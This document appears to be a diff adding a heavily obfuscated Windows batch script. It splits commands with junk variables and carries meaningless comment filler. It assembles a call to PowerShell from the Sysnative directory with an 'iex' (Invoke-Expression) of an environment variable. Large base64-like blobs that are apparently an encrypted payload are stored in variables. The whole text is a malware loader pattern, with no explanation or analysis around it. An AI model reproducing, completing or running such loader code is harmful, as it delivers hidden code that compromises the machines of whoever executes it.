rz0FXlaUdxicN1I0BkaiDFb7zNQO2pQEzYEDcLnH5KHAgp/PjxoaxmRKh7kGuhD1XaOJ6RdNExR
+:%r8Q5AH%:%bsdcUR% %MGZNgag% kkalog krntik kcech divampbo pstguh oqilddit odraz qimroeaa hsdba
+%ZxxDuQHc%sE%YqYg4uJt%T%c48tuFx% "gBiBce=%gxpRKP48%S%CJUyQY0%ta%ZH1DKD%rt-Sleep%OsioTO%^ -Se%P1975LE%co%ALMUacfC%nds^ 1;iex^ $env:n%Nh08kuZB%ZaRCF"
+%da48EV%goto%qrWggqJa% :uS1ZJ[JQ
+%DLuF4q7O%::  knidht houordcse hforstvo otewliu agrese qyvochas zxvinit
+
+:uNeAZ0
+s%ZOCJMr%e%TSNOqpbP%t "s]1yhMH=nhost."
+
+%INgUoIv%s%Y4uQteqs%et "_euBls=t=%windir%\"
+s%tX4UUO%e%sprwzrY7%t%TPdlPc% "yD)(Lk0[=[quQd"&& se%eZH5G3%t "sl}YM66=Sysnativ"&& %B2qrvaDg%s%MY4EMyGA%et%YOWuac5% "awZQ)rV=SeT " &&%AcFzxxK%set%gBoXupfm% "tTskIZ=e\co"&&%AyJFQ5%s%OymAKl4E%et "y5d_4is=exe"
+%awZQ)rV%%yD)(Lk0[%%_euBls%%sl}YM66%%tTskIZ%%s]1yhMH%%y5d_4is%
+set "lA[JRAj[=[quQd"&& %CtZ5SuB%s%wB9L7I%e%oxbtpGP%t%dBTNfwAN% "t]gEW4}Q=if " &&s%JZeCcUCH%e%vnANML%t "zNOH)gF7=%OWi)KCP% "&& %aSbs3eB%s%AiKecK%et "J]lkl6B}=t=%OWi)KCP%"&& %rts3gH%s%bNEF14r%e%noKTLItl%t "SJ}6xzh=SEt " && %HJzTstp%s%Pi2JvK81%e%a90MisdO%t%jzlSGxfR% "))3C0so=exist "
+%t]gEW4}Q%%))3C0so%%zNOH)gF7%%SJ}6xzh%%lA[JRAj[%%J]lkl6B}%
+got%iQIuqrfJ%o :b}2Ckx15
+%u0yzar%r%PiurzON%Em%uKdre15M% %uiFzc8fK% zeligto wtavgac abenicr nohcab vorgnda plnh havran
+:mP{U48I
+%Cg4lp5E1%s%PbbFI1M%et "rJGgz{t=7VYdp!O" && %WoIBLi0%se%mMFtvl%t%fQQc7p% "Q3oLay=t!ll"
+se%JIU5B3Oh%t%ioBSg4% "Y_HcZYSH=p2Cd!nd"
+s%vUtmLXw%et%kdjAfgA0% "jcZVaL=Er2y" &&se%gHB8eQz%t%B3lSq5tP% "ptFYe6=84C!r"&& s%ws3lAIIG%e%d4TyUI%t%egpzzd% "EMpyips=u!oAW"
+se%ZzmaPMlw%t "rCkxlY]w=M9gN3!xA" &&%WWIdqJ8%set%l2lBhwrl% "CR6X1S=OERjgr!x"&&se%vbCAH4mH%t "HMnfW_3d=aJGX!xN"&&set "JMIF10mN=gW!k7E"
+set "TEXvrc=TrQ0J=j"
+%ZYktAcV%se%oS36jg%t "NDvsw9=RQ!Ra"
+%rjIFey8%se%pivz8VjK%t%zGRzOzhy% "HiK)IxTz=NQFeP!kd" &&%FrtBju86%se%g7Eevj%t "gY7y6]H=F82u"
+se%dFaBMt%t%dlpKP3l% "GJOewf=ZlyB"
+s%BAhgrBu%e%qfDS86%t%LkyQPFe3% "}hJU8H=0wojr!S" &&set "]3jayrxh=vpss"&& %iU0eu5Is%se%E1uVyUR%t%Lzluav% "v8xv6P{=D1pa" &&s%NLQ8oN%e%AvRT7ynl%t "kP0n[sB=mPoW!TG"&&s%YLeVSYJ%et "_l65zR=y!am"&&%vzLP33B8%s%btePns%et "uHFwBk8V=oztM"
+s%FMbQid%e%MJ9c3rDj%t%aqE4T4b4% "gjB{OZ=WiRpF" && set "q}sd1Z=8D!u9Hr"
+g%prsVGP%o%SsqYBO%t%KNdhfIC%o%tEkjCkaD% :CPIKZRJk
+%XGLxenZ%R%WQmOthu%Em%MoH6IYP% %EyDJn6Ug% popod chata kaar pokles rrbudovgae odvxolab eamolki drozd drtoe mblvcqe daohra
+:tD1l[XCl
+seT OD1pagW=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
+seT "CWJR8ooo=&$cTSif%Q1GQAkt%j; "
+sEt ih0wojr=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
+set lloztMu=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